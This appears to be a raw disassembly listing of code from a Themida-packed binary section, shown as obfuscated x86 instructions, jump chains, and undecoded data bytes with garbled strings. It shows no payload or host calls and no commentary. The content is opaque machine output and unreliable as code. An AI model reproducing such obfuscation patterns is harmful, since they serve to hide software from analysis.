0FF96C8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AC2D: ; CODE XREF: Themida_:00557F0Aj xchg eax, [esp] pop esp mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx jmp loc_555D0C ; --------------------------------------------------------------------------- aBJd db 'ÆJd',0 dd 5E6C106h, 4EC81h, 4890000h, 4770B824h, 0BD553F18h, 0C0B6A108h dd 315DE801h, 2434FFC6h, 0A66FE958h, 0C89FFFFh, 63336824h dd 9CE978DCh, 83FFFFFEh, 97E904C4h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AC8B: ; CODE XREF: Themida_:0056693Fj add bl, 6Ch and ch, bl jmp loc_55BE3D ; --------------------------------------------------------------------------- db 68h, 0FFh, 0FBh dd 2C8BFFFFh, 65DF6824h, 4890000h, 0E2895224h, 4C281h dd 0EA810000h, 4, 0E9241487h, 0FFFFA719h ; --------------------------------------------------------------------------- loc_55ACBC: ; CODE XREF: Themida_:00561EFDj add ecx, esi pop esi push 796h jmp loc_553DCF ; --------------------------------------------------------------------------- db 89h, 0E2h, 51h dd 0FF9A8CE9h, 3877FFFFh, 0E9240C8Bh, 0DFB7h, 5B15166h dd 5966C828h, 0F616B151h, 80B0E9D1h, 248B0000h, 240C3324h dd 33240C31h, 4EE9240Ch, 83FFFFC9h, 2C8904ECh, 0B1E1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AD0A: ; CODE XREF: Themida_:00559084j sub ebx, edi pop edi sub esp, 4 jmp loc_55B0C2 ; --------------------------------------------------------------------------- dd 0EB80E300h, 0BA23E905h, 0E089FFFFh, 0DB968h, 243C8900h dd 4BFh, 8BF80100h, 0C483243Ch, 4EC8304h, 0BD242C89h, 1DA961C7h dd 87954095h, 9FC0E9FDh, 0E94AFFFFh, 588Bh ; --------------------------------------------------------------------------- loc_55AD54: ; CODE XREF: Themida_:00558281j add ecx, 4 jmp loc_563594 ; --------------------------------------------------------------------------- db 66h dd 5BD9285Ah, 1192E9h db 0 ; --------------------------------------------------------------------------- loc_55AD69: ; CODE XREF: Themida_:0055E61Bj push edx jmp loc_55402E ; --------------------------------------------------------------------------- loc_55AD6F: ; CODE XREF: Themida_:00558952j pop eax xor eax, 2E2A439Ch push eax sub dword ptr [esp], 2C6A5AB8h pop ebx add ebx, 2C6A5AB8h pop eax jmp loc_556795 ; --------------------------------------------------------------------------- dw 57ADh dd 860C0668h, 4DEFE919h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AD96: ; CODE XREF: Themida_:00566DADj xor edi, [esp] pop esp jmp loc_5582F1 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 243C8700h, 6624248Bh, 9C240401h, 0FF82F0E9h, 9BC781FFh dd 2944F50Fh, 9BEF81F7h, 5E44F50Fh, 10E9D7F7h, 0D000046h dd 39CB028Eh, 82C10505h, 0E9C22979h, 0B6D1h, 3506BD55h dd 0EB31DB9Ch, 5BDE095Dh, 5106EEC1h, 0D05E84B9h, 61DDE979h dd 74FF0000h, 348B0424h, 0E1895124h, 4C181h, 0C1830000h dd 30B0E904h, 0E9810000h, 61862A2Ch, 0C335E5Ah, 240C3124h dd 0FFD005E9h, 242C31FFh, 8B242C33h, 8B662424h, 96E92404h dd 0F7FFFFAEh, 0D2E951DAh, 5000000Bh, 0BD02E9h, 0BA2D6600h dd 0BD665524h, 0F7665AEDh, 664566DDh, 6605EDC1h, 0C166DDF7h dd 816607E5h, 66ECE9EDh, 667A4B05h, 0BE9E829h, 1FFFFDDh dd 0E9565FFBh, 5765h, 5FFB015Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_55363D ; --------------------------------------------------------------------------- db 81h, 0C3h, 9Dh dd 8B0F2763h, 0EC81240Ch, 4, 0E9240489h, 72D6h, 4E98F581h dd 0C58167BEh, 5FEC1ADDh, 38CE9h, 89EB8900h, 2C8B5BDAh dd 4C48124h, 57000000h, 6EB95155h, 0E94C3C6Ch, 0FFFF8BE2h ; --------------------------------------------------------------------------- loc_55AECC: ; CODE XREF: Themida_:0055C16Cj sub esp, 4 mov [esp], eax mov eax, 860118Dh mov edx, eax pop eax jmp loc_566EA1 ; --------------------------------------------------------------------------- dw 0BB53h dd 275168CEh, 815BD909h, 0D134DEF1h, 7A5CE993h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AEF6: ; CODE XREF: Themida_:0055BF8Cj sub esp, 4 jmp loc_565913 ; --------------------------------------------------------------------------- aRs_0 db 'RéÉ,',0 align 4 dd 0F04F74BBh, 56C38135h, 0E95C631Ch, 8A89h ; --------------------------------------------------------------------------- loc_55AF14: ; CODE XREF: Themida_:00554C92j mov [esp], ebp mov ebp, 0A0E69F9h not ebp shl ebp, 3 jmp loc_5534E9 ; --------------------------------------------------------------------------- dw 2C87h dd 0C1815C24h, 4, 5C240C87h, 0FCE9F9F7h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AF3B: ; CODE XREF: Themida_:005623C4j jz loc_555478 push 9F5h mov [esp], edx mov edx, 1Ch add edx, 17993543h jmp loc_553FDE ; --------------------------------------------------------------------------- aIxsmj db '‰åé¬j',0 align 10h dd 75ABEF81h, 504F2F4Dh, 1B8h, 58C72900h, 5880F781h, 0E94761E2h dd 0FFFF84FAh, 8260AEBDh, 7E5C14Fh, 0FFE9D5F7h, 8300003Ah dd 48904ECh, 6A336824h, 3C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55D673 ; --------------------------------------------------------------------------- db 5Dh dd 2018CE81h, 0BD551B65h, 15B2620h, 1C20C581h, 0DDF762A5h dd 2799ED81h, 0C5810E35h, 82FD9Eh, 295DEE01h, 0B8505EF1h dd 0AC460EC5h, 2158C129h, 814259CAh, 0DFDDDFC2h, 0DD17E9FFh dd 0EF810000h, 738891B2h, 0FFE831E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AFF1: ; CODE XREF: Themida_:00562DF4j and edi, 677D399Ah add edi, 2653A20Dh xor ecx, edi pop edi jmp loc_558F09 ; --------------------------------------------------------------------------- loc_55B005: ; CODE XREF: Themida_:005616B0j mov [esp], eax mov eax, 4 add edi, eax push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 xchg edi, [esp] mov esp, [esp] push ecx mov ecx, 0B5F064Fh push esi mov esi, 4E020D20h jmp loc_55BDA7 ; --------------------------------------------------------------------------- db 1, 0CBh, 0E9h dd 3426h ; --------------------------------------------------------------------------- loc_55B03C: ; CODE XREF: Themida_:00561D41j mov ebx, esp push edi mov edi, 268F41CDh shl edi, 4 add edi, 1FB07D0h jmp loc_55E334 ; --------------------------------------------------------------------------- dw 815Ah dd 4C4h, 2A8A6800h, 1C890000h, 4BB24h, 0CBE90000h, 59000088h dd 4C181h, 0C1810000h, 4, 0FFB313E9h, 0B0AB9FFh, 27E9EDFCh db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B087: ; CODE XREF: Themida_:005579D1j or ebp, 58DE15C4h not ebp shr ebp, 8 push eax jmp loc_560C9D ; --------------------------------------------------------------------------- dd 405E089h, 0E9000000h, 0FFFFC43Dh, 54BE565Dh, 0E9327037h dd 0FFFFAF80h, 0DAF7DAF7h, 9FC28142h, 1DA8FFDh, 0B75EE9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B0C2: ; CODE XREF: Themida_:0055AD13j mov [esp], edx jmp loc_564DF0 ; --------------------------------------------------------------------------- loc_55B0CA: ; CODE XREF: Themida_:00562E4Dj add bl, 0F5h sub bl, ah sub bl, 0F5h mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov al, bl mov dl, al pop eax mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 sub ebp, 39721A8Bh add ebp, esi add ebp, 39721A8Bh pop esi jmp loc_559C31 ; --------------------------------------------------------------------------- db 8Fh, 42h, 30h dd 0FF2434FFh, 505F2434h, 405E089h, 5000000h, 4, 5C240487h dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 61D1E9h, 241C8900h dd 0D0A9E9h db 0 ; --------------------------------------------------------------------------- loc_55B141: ; CODE XREF: Themida_:00559C99j push eax mov eax, 4737298Ah jmp loc_554EB3 ; --------------------------------------------------------------------------- dd 0D39BA52h, 0EA811310h, 31751CDEh, 560AE9h db 0 ; --------------------------------------------------------------------------- loc_55B15D: ; CODE XREF: Themida_:00561B23j add eax, edi push ecx push eax push 3F831FD7h pop eax inc eax xor eax, 7CCA341Ah mov ecx, eax pop eax jmp loc_566FD4 ; --------------------------------------------------------------------------- db 51h, 0F7h, 14h dd 0E1815924h, 415C2518h, 0BFDE9h db 0 ; --------------------------------------------------------------------------- loc_55B185: ; CODE XREF: Themida_:0056461Fj mov esi, esp add esi, 4 jmp loc_565E5A ; --------------------------------------------------------------------------- loc_55B192: ; CODE XREF: Themida_:00554411j and ecx, edx mov edx, [esp] jmp loc_555317 ; --------------------------------------------------------------------------- loc_55B19C: ; CODE XREF: Themida_:00567335j mov ebp, 4 jmp loc_55346E ; --------------------------------------------------------------------------- dw 148Bh dd 4C48124h, 83000000h, 0EEE904C4h db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B1B7: ; CODE XREF: Themida_:00555BD9j pop ecx sub eax, 0F9BADDF6h shr eax, 3 sub eax, 0DFD50B9h xor eax, 0AAF03D36h jmp loc_55F89C ; --------------------------------------------------------------------------- db 0BBh dd 3D477EBAh, 4245C01h, 0EB815B5Bh, 3D477EBAh, 0E9EBD15Eh dd 0A82Ch, 4C681h, 0EE830000h, 24348704h, 2434895Ch, 21A3E9h dd 81E38900h, 4C3h, 4EB8100h, 53000000h, 42474FFh, 24048F5Bh dd 2434895Ch, 24348B54h, 4C481h, 0C6810000h, 4, 2BC268h dd 242C8900h, 0FFFF17E9h, 59CD89FFh, 9152E9h, 81B85000h dd 1B1155Ch, 0EF0158C5h, 4EF815Dh, 57000000h, 42474FFh dd 1D46E95Fh, 0C3810000h, 4, 0C0F4E950h, 0FE010000h, 673BEE81h dd 3C8B4B04h, 4C48324h, 4EE81h, 34330000h, 0BC8CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B282: ; CODE XREF: Themida_:00564150j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] or eax, eax jz loc_55A972 push 59CCh mov [esp], ebx jmp loc_56372D ; --------------------------------------------------------------------------- db 81h dd 4ECh, 240C8900h, 4BD0BF57h, 0F6E9232Eh, 8100000Ch, 4C2h dd 4C28300h, 0E9241433h, 0D0B7h, 8B243433h, 48E92424h dd 890000A9h, 0DE095DEBh, 0CCA1E9h, 0C3C18100h, 1677D30h dd 0C3E981D9h, 57677D30h, 0A1005FBFh, 8BF9293Ch, 0BAE9243Ch db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B2FB: ; CODE XREF: Themida_:00560431j add esi, edi sub esi, 6FA46238h jmp loc_55ABE8 ; --------------------------------------------------------------------------- dd 6117E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B30E: ; CODE XREF: Themida_:005649C0j pop edx sub esp, 4 mov [esp], edi push esp jmp loc_5602F1 ; --------------------------------------------------------------------------- loc_55B31E: ; CODE XREF: Themida_:0055F464j pop edx push edx mov edx, 6D3535E2h jmp loc_55F3A0 ; --------------------------------------------------------------------------- dw 0D789h dd 0D2D4E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B332: ; CODE XREF: Themida_:0056498Aj pop edi jmp loc_556127 ; --------------------------------------------------------------------------- loc_55B338: ; CODE XREF: Themida_:00557430j push 63E2h mov [esp], ebx mov ebx, 3256EEFh xor ebx, 3E4762D1h not ebx push ebx not dword ptr [esp] jmp loc_5641C3 ; --------------------------------------------------------------------------- dw 0C281h dd 7E6812C0h, 49FDEA81h, 0EA295079h, 49FDC281h, 78E95079h dd 5D000004h, 4C481h, 96E90000h, 52000023h, 2A6CE9h, 66C4FE00h dd 28000068h, 0D4E92424h, 5300009Ah, 3B53E9h db 0 ; --------------------------------------------------------------------------- loc_55B395: ; CODE XREF: Themida_:00565BC7j push ebp mov ebp, esp push 7E61h mov [esp], esi mov esi, 4 add ebp, esi mov esi, [esp] add esp, 4 add ebp, 4 jmp loc_568339 ; --------------------------------------------------------------------------- db 5Fh dd 875BD901h, 0AFE9240Ch, 66000064h, 5124048Bh, 8904EC83h dd 0E389241Ch, 4C381h, 0EB810000h, 4, 5C241C87h, 24048F54h dd 4240483h, 0E9240C8Bh, 0FFFF8BB4h, 5664E581h, 0C5815F9Fh dd 0FFFFFFFFh, 6806EDC1h, 787Dh, 0BB241C89h, 37056A41h dd 58E9DD29h, 81FFFF9Fh, 0BE0B2FF7h, 83D7F752h, 48904ECh dd 59685524h, 0E922826Ah, 9EE6h, 4C381h, 9EE90000h db 0D0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B43B: ; CODE XREF: Themida_:00568B85j pop esi pop ebp mov eax, esi mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5655FF ; --------------------------------------------------------------------------- db 0F7h dd 0EE8346D6h, 9EC681FFh, 562E4040h, 95EBE9h db 0 ; --------------------------------------------------------------------------- loc_55B465: ; CODE XREF: Themida_:00562632j push esi mov esi, esp push ecx mov ecx, 4 add esi, ecx pop ecx jmp loc_558C15 ; --------------------------------------------------------------------------- dw 3C87h dd 24248B24h, 0E9242C89h, 0FFFFCFFDh ; --------------------------------------------------------------------------- loc_55B484: ; CODE XREF: Themida_:00565C06j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx mov ebx, 63B04DA8h shr ebx, 2 add ebx, 1 and ebx, 28E73226h push eax mov eax, 0D861C62h jmp loc_5640EF ; --------------------------------------------------------------------------- db 5Fh, 81h, 0EEh dd 0E741F64h, 0C681EE29h, 0E741F64h, 0FFA1E2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B4C1: ; CODE XREF: Themida_:0055DF26j mov edi, [esp] add esp, 4 sub esi, 9A1E531h mov eax, esi push dword ptr [esp] pop esi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub ebx, 5D9024A1h jmp loc_567F67 ; --------------------------------------------------------------------------- loc_55B4EE: ; CODE XREF: Themida_:0055A178j mov eax, 4955031Ch xor eax, 698E55A9h push edx mov edx, 2BDB6400h jmp loc_560296 ; --------------------------------------------------------------------------- db 33h dd 1C31241Ch, 3F7E924h, 0F2010000h, 507BE9h, 82CE8100h dd 0F708184Ah, 43C681D6h, 17549BAh, 1C77E9F5h, 3C310000h dd 243C3324h, 0D174E9h, 0B5E95500h, 0BAFFFFB1h, 427F5E53h dd 2826E9h db 0 ; --------------------------------------------------------------------------- loc_55B545: ; CODE XREF: Themida_:0055446Ej add ecx, 1E874949h add ecx, edx sub ecx, 1E874949h pop edx xchg ecx, [esp] pop esp neg esi inc esi jmp loc_56053F ; --------------------------------------------------------------------------- loc_55B560: ; CODE XREF: Themida_:005676C3j push ebx push 4 pop ebx add eax, ebx pop ebx push eax jmp loc_567AF3 ; --------------------------------------------------------------------------- loc_55B570: ; CODE XREF: Themida_:005654CCj push esi jmp loc_56654F ; --------------------------------------------------------------------------- dw 0EB81h dd 51806C6Dh, 39C1BF57h, 0EF813F61h, 15AD2DD7h, 0E904EC83h dd 0FFFFC505h, 5FF8015Dh, 8904EC83h, 63B9240Ch, 68536A2Eh dd 64CEh, 413AE9h, 3E6C100h, 8D2AC681h, 0E956906Ch, 3EFAh ; --------------------------------------------------------------------------- loc_55B5B8: ; CODE XREF: Themida_:00557C95j push 0 sub [esp], ecx jmp loc_554B14 ; --------------------------------------------------------------------------- db 0B5h, 46h, 0 aIfyqAD db 'ëfYQ±-€Á¤',0 dw 59CBh dd 66E0EB80h, 0C0B60F5Ah, 2102E9h, 14316600h, 7ABBE924h dd 3C89FFFFh, 2F21BF24h, 0C7812B9Fh, 723C5D6Ah, 0F0E9FA29h dd 81000090h, 4C1h, 4C18300h, 5C240C87h, 417C981h, 534135C1h dd 16C2E9h, 529FBF00h, 0F8895AF1h, 83243C8Bh, 0C50904C4h dd 22E95258h, 1FFFFB7h, 143358C2h, 24143124h, 5C241433h dd 0B261E9h, 241C3300h, 7A5BE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B64A: ; CODE XREF: Themida_:00554962j xchg ebx, [esp] pop esp mov [esp], eax push 47DE705Dh jmp loc_55BE04 ; --------------------------------------------------------------------------- db 80h dd 0D300F2EAh, 76EB805Ah, 0C380C328h, 5EEB8076h, 0C0E6B652h dd 0F68003EEh, 75C680FEh, 8013EB80h, 0F30085C3h, 8085EB80h dd 148B13C3h, 0D1CDE924h, 0E95AFFFFh, 43E4h, 2EAF181h dd 0E9C13464h, 10E98102h, 890591D9h, 0F70159CEh, 6024E9h dd 0FEE68100h, 0E9042D40h, 0B5D9h ; --------------------------------------------------------------------------- loc_55B6B8: ; CODE XREF: Themida_:0056012Bj mov edi, esp add edi, 4 jmp loc_561FA1 ; --------------------------------------------------------------------------- loc_55B6C5: ; CODE XREF: Themida_:00554AD4j sub edx, 4874201Ah pop eax jmp loc_555F77 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0B8505E54h, 66CD05D8h, 8D5E955h, 0BB530000h, 4, 9D6BE9h db 0 ; --------------------------------------------------------------------------- loc_55B6ED: ; CODE XREF: Themida_:005617B3j mov edi, 211A08EEh shl edi, 1 xor edi, 3A5B47AEh push ebp push ecx push esi jmp loc_560314 ; --------------------------------------------------------------------------- dw 0EE81h dd 56ED524Ch, 83241C8Bh, 0EB8104C4h, 60FB6723h, 0C381F301h dd 60FB6723h, 0FFA137E9h, 243C89FFh, 8817E954h, 0BA520000h dd 4, 1620E9h, 24043300h, 6624248Bh, 9C243CD3h, 0FF7960E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B745: ; CODE XREF: Themida_:0055BB07j push dword ptr [esp] pop ebp jmp loc_562681 ; --------------------------------------------------------------------------- dw 0EC83h dd 11C1E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B756: ; CODE XREF: Themida_:00559A27j push dword ptr [esp] pop eax push 6005h mov [esp], esi push esp jmp loc_55F76F ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Fh, 4C4835Ch, 4C381h, 0BF570000h, 2 dd 0E95FFB01h, 6Dh ; --------------------------------------------------------------------------- loc_55B788: ; CODE XREF: Themida_:00566758j sub ebp, eax sub ebp, 615175A1h sub ebp, 5FE532F6h pop eax add ebp, 4890530Ch mov esi, ebp pop ebp sub esi, 0E031869h add esi, ebx add esi, 0E031869h pop ebx dec esi shr esi, 1 dec esi shr esi, 8 xor esi, 2F8921h jmp loc_554588 ; --------------------------------------------------------------------------- db 59h, 0E9h, 5 db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B7C7: ; CODE XREF: Themida_:0055DF9Ej mov edi, 733838A1h inc edi push eax mov eax, 6DD71065h jmp loc_558C97 ; --------------------------------------------------------------------------- dd 0BE243489h, 0C6CB3240h, 81E9F229h, 81000079h, 6812C0EAh dd 242C8B7Eh, 4342E9h, 74FF5300h, 1C8B0424h, 4EC8324h dd 89241489h, 4C281E2h, 55000000h, 4BDh, 1AC28100h, 0E9778112h dd 0FFFFDE35h, 28BAh, 0EFC28100h, 0E95B623Fh, 4CF9h, 0C058E128h dd 0D1F604E1h, 0E980C1FEh, 0E9672C7Ch, 0B1C3h, 4123F181h dd 0CD3105CDh, 0E9215F59h, 83242C8Bh, 0E9C104C4h, 7F9CE900h dd 0C4830000h, 8D07E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B862: ; CODE XREF: Themida_:005594A1j pop ebp add esp, 4 jmp loc_56343F ; --------------------------------------------------------------------------- db 0FFh dd 37E92434h, 52FFFF85h, 60DBE9h db 0 ; --------------------------------------------------------------------------- loc_55B879: ; CODE XREF: Themida_:0055F150j push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 and eax, ebx jmp loc_567777 ; --------------------------------------------------------------------------- dd 33241431h, 248B2414h, 2404D324h, 97EBE99Ch, 0EA290000h dd 84F8E9h, 68665C00h, 89661140h, 8E92414h, 88FFFFDFh dd 0DC285BFCh, 0FFAD2AE9h, 0DFF75FFFh, 0BFEE781h, 0EF8159A4h dd 200016h, 34FFFD01h, 0D2E95F24h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B8D7: ; CODE XREF: Themida_:005677FFj add ecx, 4 jmp loc_55D2B3 ; --------------------------------------------------------------------------- dw 8B66h dd 65E9240Ch, 4600004Eh, 128AC681h, 814E6161h, 586D17EEh dd 0C6814E0Dh, 6734F7AAh, 0FFC425E9h, 241C33FFh, 5624248Bh dd 0C681E689h, 4, 4C681h, 8CE90000h, 8BFFFFC0h, 8950241Ch dd 405E0h, 0C0830000h, 24048704h, 0FFF3B9E9h, 329F68FFh dd 2C890000h, 0F353E924h, 8B66FFFFh, 89522414h, 4BE56E2h dd 1000000h, 24348BF2h, 90E6E9h db 0 ; --------------------------------------------------------------------------- loc_55B959: ; CODE XREF: Themida_:0055F07Ej mov [esp], eax mov eax, 4 mov edx, eax pop eax push esi jmp loc_561613 ; --------------------------------------------------------------------------- dw 0EA01h dd 81CA015Dh, 0F631F0EAh, 0D1C28170h, 59453871h, 0FFCF9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B981: ; CODE XREF: Themida_:0055D695j pop edi add esp, 4 jmp loc_566466 ; --------------------------------------------------------------------------- loc_55B98A: ; CODE XREF: Themida_:0055BAE6j push dword ptr [esp] pop ecx push ebx push 69h jmp loc_55D9AD ; --------------------------------------------------------------------------- loc_55B999: ; CODE XREF: Themida_:0055785Cj add esp, 4 pop edx push eax mov eax, esp add eax, 4 jmp loc_5616EA ; --------------------------------------------------------------------------- dw 5F5Fh dd 2474FF50h, 48F5804h, 24248B24h, 0CD46E950h, 9BB20000h dd 585AD300h, 0E9E78957h, 65Bh, 83240C8Bh, 0D82804C4h dd 0FEEAB551h, 9EDBE9CDh, 0C4830000h, 242C3304h, 0C6D9E9h dd 58C72900h, 0A198E9h, 0BFF18100h, 55047A0Fh, 0FFA8EDE9h dd 2DE952FFh, 0BE00003Dh, 55E3057Fh, 0FFD026E9h, 1248B9FFh dd 0CA314210h, 81240C8Bh, 4C4h, 5AD70100h, 4EF81h, 0C2E90000h dd 0AD000018h, 2BC7BA52h, 0BB5304FCh, 1, 5C4C281h, 0DA0164CCh dd 5D95BD55h, 0DDF75EAAh, 9F6FE9h, 24343300h, 0C306E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BA56: ; CODE XREF: Themida_:00559D8Fj not ebx add ebx, 335121ECh mov edi, ebx jmp loc_5619F6 ; --------------------------------------------------------------------------- db 0Fh, 0C8h, 68h dd 2659h, 0E9240489h, 0FFFF7631h, 0D8C2E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BA7A: ; CODE XREF: Themida_:005590C3j sub eax, 1AEB2CA6h push ebx mov ebx, 0 jmp loc_55FB58 ; --------------------------------------------------------------------------- dw 0B353h dd 54B55158h, 0EA3099B2h, 0D928E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BA9A: ; CODE XREF: Themida_:0055D2D9j pop edx add esi, 2 xchg esi, [esp] jmp loc_561CC2 ; --------------------------------------------------------------------------- loc_55BAA6: ; CODE XREF: Themida_:00568A16j sub ecx, 0FD81EA9Eh jmp loc_56751B ; --------------------------------------------------------------------------- db 59h, 0FFh, 34h dd 0C4815F24h, 4, 34FFF021h, 89565E24h, 4C681E6h, 83000000h dd 348704C6h, 0B1B5E924h, 0EA81FFFFh, 6DFC7262h, 0D4E9FA01h db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BAE3: ; CODE XREF: Themida_:0055EB8Cj push dword ptr [esp] jmp loc_55B98A ; --------------------------------------------------------------------------- db 0D1h dd 5D8F7E0h, 73F3FCB8h, 8358C601h, 343304C6h, 80A4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BB02: ; CODE XREF: Themida_:00563CA2j xor eax, 4142430h jmp loc_55B745 ; --------------------------------------------------------------------------- dd 0E953D2F7h, 85ADh, 0E924048Fh, 721Dh ; --------------------------------------------------------------------------- loc_55BB1C: ; CODE XREF: Themida_:005670D5j pop ebx push dword ptr [esp] pop eax jmp loc_55449E ; --------------------------------------------------------------------------- dw 5452h dd 4C2815Ah, 53000000h, 4BBh, 5BDA2900h, 5C241487h, 0C7E7E954h dd 0D7F7FFFFh, 5EFC147h, 4310CF81h, 0EFC110D7h, 0F1E95004h db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BB57: ; CODE XREF: Themida_:0056303Cj pop ecx shr edx, 8 push eax push 7B3h mov [esp], edi mov edi, 5D877983h neg edi xor edi, 0A21210E7h mov eax, edi mov edi, [esp] add esp, 4 sub edx, eax pop eax jmp loc_55C171 ; --------------------------------------------------------------------------- loc_55BB84: ; CODE XREF: Themida_:0055E2DEj pop ebx push ebp mov ebp, esp jmp loc_564162 ; --------------------------------------------------------------------------- db 81h, 0E9h, 8Bh dd 5B097F6Fh, 4B5A6857h, 0C890000h, 486BB924h, 0C18156CCh dd 0A933B797h, 4E9CF89h, 5B000006h, 4589F281h, 0C781E67Fh dd 495E01A8h, 0EF81D701h, 495E01A8h, 858CE95Ah, 3166FFFFh dd 143166EAh, 14336624h, 0FA07E924h, 815DFFFFh, 0AC5086EAh dd 81DA0168h, 0AC5086C2h, 0EA835B68h, 54C0E904h, 0AEE90000h dd 87FFFF74h, 7A01E9EEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BBFE: ; CODE XREF: Themida_:00561556j sub ecx, 0FFFFFFFFh push eax mov eax, 0DFD9B8F7h add ecx, eax mov eax, [esp] add esp, 4 and eax, ecx jmp loc_55A8DE ; --------------------------------------------------------------------------- dd 4C181h, 0E9830000h, 240C8704h, 2404895Ch, 0E10AC8B8h dd 0F53A051Fh, 0C701E01Eh, 243C8758h, 6624248Bh, 68240C8Bh dd 4CC9h, 4E46E9h db 0 ; --------------------------------------------------------------------------- loc_55BC4D: ; CODE XREF: Themida_:0056615Bj sub ebx, 0D5B0492h jmp loc_566EC4 ; --------------------------------------------------------------------------- dd 0EC815966h, 4, 57241C89h, 0E904EC83h, 0B59Eh, 31242C33h dd 2C33242Ch, 3C895C24h, 2F2F6824h, 0E95F5917h, 0DA7h dd 5568AEB2h, 89000003h, 3DE92404h, 81FFFFA2h, 0CD0740F5h dd 52BB5368h, 29108B2Fh, 0DCE95BDDh db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BCA7: ; CODE XREF: Themida_:0055DE13j pop dword ptr [esp] pop esp push 750Fh jmp loc_5636C6 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 5B000000h, 93AAE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BCC2: ; CODE XREF: Themida_:0056576Bj mov edx, [esp] add esp, 4 add edi, eax pop eax push edi push dword ptr [esp+4] pop edi jmp loc_557C84 ; --------------------------------------------------------------------------- db 89h, 0E7h, 81h dd 4C7h, 4FD3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BCE6: ; CODE XREF: Themida_:00563C35j mov [esp], ebx mov ebx, 38E50193h jmp loc_55957C ; --------------------------------------------------------------------------- db 0C1h dd 0EB8106E3h, 9C02EB0Dh, 815BDA21h, 0E037D4F2h, 8BD7291Bh dd 0C4832414h, 0D09CE904h, 0FCBDFFFFh, 0E965E25Dh, 0FFFF7DEFh dd 2C481h, 0C9800000h, 80D1F679h, 0C3803EF1h, 51CB2893h dd 0C58042B5h, 96C580A2h, 0FE0AE580h, 0AE4DE9C5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BD42: ; CODE XREF: Themida_:00559B06j pop edx push ecx mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp] pop esp push 209Fh mov [esp], ecx jmp loc_5689CF ; --------------------------------------------------------------------------- loc_55BD5D: ; CODE XREF: Themida_:00559939j mov edi, [esp] add esp, 4 add esp, 4 push ebp push ecx push edi xor dword ptr [esp], 1C423169h pop ecx xor ecx, 1C423169h mov ebp, ecx pop ecx jmp loc_5568EF ; --------------------------------------------------------------------------- dw 0E181h dd 4E072099h, 7501C181h, 0EC81079Ah, 4, 0BD242C89h, 0A4722D2h dd 1C28C581h, 0ECE912B0h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BDA7: ; CODE XREF: Themida_:0055B030j add ecx, esi pop esi jmp loc_555E21 ; --------------------------------------------------------------------------- aCteSui db '%CTe#éî©',0 dd 5DEB0100h, 0A47DE950h, 77FF0000h, 19589D1Ch, 0E99C2404h dd 0FFFF72D5h, 202CF000h, 8E72E9h db 0 ; --------------------------------------------------------------------------- loc_55BDD9: ; CODE XREF: Themida_:005663ABj shl esi, 1 xor esi, 492D4580h xor esi, 0BC06FAC9h add ecx, esi pop esi sub ecx, edi push 7310h mov [esp], ebp mov ebp, 4E026B21h add ebp, 1DDAADAEh jmp loc_564C19 ; --------------------------------------------------------------------------- loc_55BE04: ; CODE XREF: Themida_:0055B656j pop eax or ecx, eax jmp loc_564F01 ; --------------------------------------------------------------------------- loc_55BE0C: ; CODE XREF: Themida_:0055CD3Bj push 56216332h mov ecx, [esp] add esp, 4 xor ecx, 56216316h jmp loc_55EC24 ; --------------------------------------------------------------------------- loc_55BE25: ; CODE XREF: Themida_:00559D4Aj ; Themida_:00561D71j push esi jmp loc_556829 ; 